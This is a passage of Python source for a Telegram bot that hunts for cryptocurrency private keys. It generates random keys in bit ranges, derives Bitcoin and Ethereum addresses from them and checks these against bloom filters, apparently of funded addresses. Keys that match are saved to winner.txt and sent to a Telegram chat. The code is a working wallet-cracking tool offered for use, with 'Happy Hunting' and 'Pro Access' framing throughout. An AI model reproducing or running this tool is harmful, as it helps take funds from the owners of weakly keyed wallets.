int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: #print('\nDecimal = ',dec, ' bits ', length, '\n Hexadecimal = ', HEX) print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr}")) num += 1 if message.text=="1 Hour Magic Random Range โœจ(Pro Access)โœจ": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„1 Hour Magic Random Range ๐Ÿช„โœจ(Pro Access)โœจ")) print('[purple]\n---------------------1 Hour Magic Random Range(Pro Access)---------------------------------[/purple]') t_end = time.time() + 60 * 60 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: #print('\nDecimal = ',dec, ' bits ', length, '\n Hexadecimal = ', HEX) print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr}")) num += 1 else: bot.send_message(message.chat.id, "Going back to the Main Menu ") print('[red]Going back to the Main Menu[/red]') start(message) def get_POWER_RANGE(message): if message.text=="๐Ÿ”™Back": start(message) else: count = 0 total = 0 num = 1 n = "\n" print(RANGER) if message.text=="1-64 Bits": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„ 1-64 Bits Magic Random Range This will run for 2mins ๐Ÿช„")) print('[yellow]\n---------------------1-64 Bits Random Range ---------------------------------[/yellow]') t_end = time.time() + 60 * 2 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 startscan=2**1 stopscan=2**64 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} 1-64 Bits Random Range")) num += 1 if message.text=="64-70 Bits": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„ 64-70 Bits Magic Random Range This will run for 2mins ๐Ÿช„")) print('[yellow]\n---------------------64-70 Bits Random Range ---------------------------------[/yellow]') t_end = time.time() + 60 * 2 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 startscan=2**64 stopscan=2**70 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} 64-70 Bits Random Range")) num += 1 if message.text=="70-80 Bits": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„ 70-80 Bits Magic Random Range This will run for 2mins ๐Ÿช„")) print('[yellow]\n---------------------70-80 Bits Random Range ---------------------------------[/yellow]') t_end = time.time() + 60 * 2 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 startscan=2**70 stopscan=2**80 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} 70-80 Bits Random Range")) num += 1 if message.text=="80-90 Bits": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„ 80-90 Bits Magic Random Range This will run for 2mins ๐Ÿช„")) print('[yellow]\n---------------------80-90 Bits Random Range ---------------------------------[/yellow]') t_end = time.time() + 60 * 2 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 startscan=2**80 stopscan=2**90 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} 80-90 Bits Random Range")) num += 1 if message.text=="90-100 Bits": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„ 90-100 Bits Magic Random Range This will run for 2mins ๐Ÿช„")) print('[yellow]\n---------------------90-100 Bits Random Range ---------------------------------[/yellow]') t_end = time.time() + 60 * 2 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 startscan=2**90 stopscan=2**100 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] 